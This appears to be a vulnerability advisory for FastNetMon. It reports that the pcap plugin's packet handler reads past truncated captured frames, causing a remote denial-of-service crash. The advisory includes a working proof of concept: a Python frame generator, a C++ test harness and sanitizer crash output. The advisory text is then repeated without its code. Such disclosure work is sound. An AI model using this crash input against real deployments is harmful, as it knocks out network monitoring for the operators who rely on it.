Summary
FastNetMon's pcap capture plugin's frame handler performs zero bounds checking against the actual captured frame length. Despite a stale comment claiming it's unused, it's the live pcap_loop callback whenever pcap = on. A short/truncated captured frame crashes the process.
Details
parse_packet() (src/pcap_plugin/pcap_collector.cpp:85-167), registered at pcap_collector.cpp:224 (pcap_loop(descr, -1, (pcap_handler)parse_packet, NULL);) and reachable via fastnetmon.cpp:1018/2136 when pcap = on:
// We do not use this function now! It's buggy! <- misleading; it IS live
void parse_packet(u_char* user, struct pcap_pkthdr* packethdr, const u_char* packetptr) {
...
iphdr = (struct ip*)packetptr; // no length check
uint32_t src_ip = iphdr->ip_src.s_addr; // dereferenced regardless of caplen
...
packetptr += 4 * iphdr->ip_hl; // attacker-controlled IHL, unchecked
tcphdr = (struct tcphdr*)packetptr; // dereferenced with zero remaining-length guarantee
packethdr->caplen (the actual captured byte count) is never read anywhere in the function.
PoC
Step 1 - craft the malicious frame (craft_ghsa04.py):
#!/usr/bin/env python3
import struct
dst_mac = b"\xaa" * 6
src_mac = b"\xbb" * 6
ethertype = struct.pack(">H", 0x0800) # IPv4
eth = dst_mac + src_mac + ethertype
assert len(eth) == 14
# No IP header bytes at all -- parse_packet() casts struct ip* right past the end.
open("pcap_ghsa04_truncated_eth.bin", "wb").write(eth)
print(f"wrote pcap_ghsa04_truncated_eth.bin ({len(eth)} bytes)")
Step 2 - feed it to the real function (harness_pcap.cpp, declares parse_packet() extern and links against the unmodified pcap_plugin code):
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <ctime>
#include <map>
#include <string>
#include <pcap.h>
#include "fastnetmon_types.hpp"
#include "all_logcpp_libraries.hpp"
// pcap_collector.cpp references these directly (normally defined in fastnetmon.cpp).
log4cpp::Category& logger = log4cpp::Category::getRoot();
time_t current_inaccurate_time = 0;
std::map<std::string, std::string> configuration_map;
// Non-static symbol in pcap_collector.cpp, not exported via a header, but linkable directly.
extern void parse_packet(u_char* user, struct pcap_pkthdr* packethdr, const u_char* packetptr);
extern process_packet_pointer pcap_process_func_ptr; // default NULL in pcap_collector.cpp
static void dummy_process_packet(simple_packet_t& packet) {
fprintf(stderr, "sink reached: src_port=%u dst_port=%u protocol=%u\n",
packet.source_port, packet.destination_port, packet.protocol);
}
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s <frame-file>\n", argv[0]); return 1; }
FILE* fp = fopen(argv[1], "rb");
fseek(fp, 0, SEEK_END);
long sz = ftell(fp);
fseek(fp, 0, SEEK_SET);
// Tightly-sized heap allocation matching the claimed captured length exactly -- the
// key to deterministically catching the OOB read: no slack bytes at all.
uint8_t* heap_buf = new uint8_t[sz];
fread(heap_buf, 1, sz, fp);
fclose(fp);
struct pcap_pkthdr hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.caplen = (bpf_u_int32)sz; // the field parse_packet() SHOULD check but never reads
hdr.len = (bpf_u_int32)sz;
pcap_process_func_ptr = dummy_process_packet;
parse_packet(nullptr, &hdr, heap_buf); // real production entrypoint
delete[] heap_buf;
fprintf(stderr, "OK: no crash, processed %ld bytes\n", sz);
return 0;
}
Build (against FastNetMon's own pcap_plugin source, compiled with -fsanitize=address,undefined) and run:
$ python3 craft_ghsa04.py
$ ./harness_pcap pcap_ghsa04_truncated_eth.bin
Result:
==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000002a
READ of size 4 at 0x60200000002a thread T0
#0 parse_packet(...) pcap_collector.cpp:108
0x60200000002a is located 12 bytes to the right of 14-byte region [0x602000000010,0x60200000001e)
A control run with a well-formed 42-byte Ethernet+IPv4+UDP frame completes cleanly (no crash, exit 0) - ruling out a false positive from the harness itself.
Impact
Denial of service via a truncated captured frame. Since pcap mode captures whatever traverses the monitored interface - normal internet traffic for a border/transit mirror, not just on-segment hosts - this is effectively remote for typical deployments, not merely local-segment.
Summary
FastNetMon's pcap capture plugin's frame handler performs zero bounds checking against the actual captured frame length. Despite a stale comment claiming it's unused, it's the live
pcap_loopcallback wheneverpcap = on. A short/truncated captured frame crashes the process.Details
parse_packet()(src/pcap_plugin/pcap_collector.cpp:85-167), registered atpcap_collector.cpp:224(pcap_loop(descr, -1, (pcap_handler)parse_packet, NULL);) and reachable viafastnetmon.cpp:1018/2136whenpcap = on:packethdr->caplen(the actual captured byte count) is never read anywhere in the function.PoC
Step 1 - craft the malicious frame (
craft_ghsa04.py):Step 2 - feed it to the real function (
harness_pcap.cpp, declaresparse_packet()extern and links against the unmodifiedpcap_plugincode):Build (against FastNetMon's own
pcap_pluginsource, compiled with-fsanitize=address,undefined) and run:Result:
A control run with a well-formed 42-byte Ethernet+IPv4+UDP frame completes cleanly (no crash, exit 0) - ruling out a false positive from the harness itself.
Impact
Denial of service via a truncated captured frame. Since pcap mode captures whatever traverses the monitored interface - normal internet traffic for a border/transit mirror, not just on-segment hosts - this is effectively remote for typical deployments, not merely local-segment.